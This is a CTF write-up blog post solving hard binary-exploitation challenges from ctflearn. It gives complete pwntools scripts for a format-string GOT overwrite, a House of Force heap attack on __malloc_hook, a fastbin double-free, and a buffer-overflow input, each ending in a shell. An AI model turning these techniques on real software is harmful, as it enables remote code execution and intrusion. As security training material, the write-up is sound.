- Published on
ctflearn.com - Binary hard challenges
- Authors

- Name
- kerszi
Introduction
On ctflearn, I only have the hard PWN tasks left to do. I thought there would be some heap stuff, which I haven't dealt with much, but it was an opportunity to train on it. The tasks are often from 2022, so they might be outdated in terms of new libc. However, it's good to know this because sometimes CTF tasks have older libc. I can compare the Hard tasks on ctflearn to medium on HTB, but some were great. If you don't want to spoil the fun for yourself, reach for solutions only as a last resort. The tasks are available on ctflearn.com, but I'll also upload them to GitHub so they don't disappear. Unfortunately, it happens sometimes. As usual, Rivit and thekidofarcrania didn't disappoint. Have fun.
Libraries

Redirected

It took me a while to solve this challenge; I tried several approaches. The remaining idea sounded unlikely: overwrite printf itself to trigger the format-string behavior. Fortunately, pwntools’ fmtstr_payload can perform two writes in a single payload, and there was enough free buffer space to make it work. I didn’t even have to return to main — everything was done in one pass.
Solution:
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
HOST="nc rivit.dev 10018"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
system_plt=binary.plt.system
puts_got=binary.got.puts
ask_user=binary.sym.ask_user
printf_got=binary.got.printf
payload1 = fmtstr_payload(6, {
printf_got:system_plt,
puts_got:ask_user
})
warn (f"size: {len(payload1)}")
p.sendlineafter(b'Input your message:',payload1)
p.interactive()
Blackbox

Solution
python -c "print '11111111111111111111111111111111111111111111111111111111111111111111111111111111\x02\x00\x00\x00'" | ./blackbox
Test Event Challenge 1

House

Solution
from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
HOST = "nc rivit.dev 10006"
ADDRESS, PORT = HOST.split()[1:]
BINARY_NAME = "./task"
LIBC_PATH = "./libc-2.28-no-tcache.so"
libc = ELF(LIBC_PATH, checksec=False)
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS, PORT)
else:
p = process(binary.path)
# ==================== TEMPLATE FUNCTIONS ====================
def malloc(size, content):
"""Add a new note with custom size and content."""
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Data: ", content)
warn(f"[+] Note added (size: {size})")
# ==================== MAIN EXPLOIT FUNCTION ====================
# Step 1: Leak addresses from the program's output
# Read the leaked puts address
p.recvuntil(b"puts @ ")
puts_leak = int(p.recvline().strip(), 16)
# Read the leaked heap base address (note: this is p-0x10 from the program's print)
p.recvuntil(b"heap @ ")
heap_chunk = int(p.recvline().strip(), 16)
# Log the leaked puts address
log.info(f"puts @ {hex(puts_leak)}")
# Calculate the libc base address using the puts leak
libc_base = puts_leak - libc.symbols['puts']
log.info(f"libc base = {hex(libc_base)}")
# Calculate the address of __malloc_hook and system function in libc
malloc_hook = libc_base + libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
log.info(f"__malloc_hook = {hex(malloc_hook)}")
log.info(f"system = {hex(system)}")
# Find the address of the '/bin/sh' string in libc
binsh = next(libc.search(b'/bin/sh'))
binsh_addr = libc_base + binsh
log.info(f"/bin/sh = {hex(binsh_addr)}")
# Calculate the top chunk address on the heap
top_addr = heap_chunk + 0x118
log.info(f"top chunk @ {hex(top_addr)}")
# Step 2: Perform House of Force technique
# Allocate a chunk to set the top chunk size to a very large value (0xfffffffffffffff1)
# This allows us to allocate arbitrarily large chunks
malloc(0x100, 0x108*b'b' + p64(0xfffffffffffffff1))
# Calculate the size needed to allocate a chunk that reaches __malloc_hook
size_2_allocate = malloc_hook - top_addr - 0x10
# Allocate a chunk to position the next allocation at __malloc_hook
malloc(size_2_allocate, p64(0))
# Allocate another chunk and overwrite __malloc_hook with the address of system
malloc(0x100, p64(system))
# Step 3: Trigger the exploit
# The trick: When allocating the next chunk, provide the size as the address of '/bin/sh'
# This will be passed as the first argument (RDI) to system, allowing system('/bin/sh')
p.sendlineafter(b'Size: ', str(binsh_addr).encode())
p.interactive()
Cryptoversing

Solution
cipher=bytes.fromhex('685f624f7d4563444f522b47297568286a6c2c764c')
wynik = []
for idx, i in enumerate(cipher):
if idx < len(cipher) // 2:
wynik.append(chr(i ^ 0x10))
else:
wynik.append(chr(i ^ 0x18))
print ("".join(wynik))
Slow bin

malloc, malloc, delete(0), delete(1), delete(0), I had to do something else to allocate the chunk properly. The trick was that by providing the username, make the appropriate fd entry. It took me some time until I did everything correctly. And this is probably just the beginning of the heap adventure (brrrrrr)Solution
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
HOST = "nc rivit.dev 10014"
ADDRESS, PORT = HOST.split()[1:]
BINARY_NAME = "./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS, PORT)
else:
p = process(binary.path)
# ==================== TEMPLATE FUNCTIONS ====================
def add_note(size, content=b"A"*8):
"""Add a new note with custom size and content."""
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Data: ", content)
warn(f"[+] Note added (size: {size})")
def remove_note(index):
"""Remove a note at the specified index."""
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"Index: ", str(index).encode())
warn(f"[+] Note {index} removed")
# ==================== MAIN EXPLOIT FUNCTION ====================
#This is important
p.sendlineafter(b'Username',p64(0)+p64(0x81)+p64(0)*2)
size = 0x78
user = binary.symbols['user'] # adres struct User (user.username) #0x2040e0
#hexdump 0x2040e0 (user)
# alloc A,B
add_note(size, b'A'*size) # idx0
add_note(size, b'B'*size) # idx1
# double-free A,B,A
remove_note(0)
remove_note(1)
remove_note(0)
add_note(size, p64(user)) # idx2, writes fd=TARGET
add_note(size, b'C'*size)
add_note(size, b'D'*size)
add_note(size, 16*b'E'+p64(0x1337)) #write data for user+0x1337
p.sendlineafter(b'>',b'3')
p.interactive()
Bonus
Optionally, You can find all resources to tests: https://github.com/MindCraftersi/ctf/tree/main/portals/ctflearn/pwn-hard
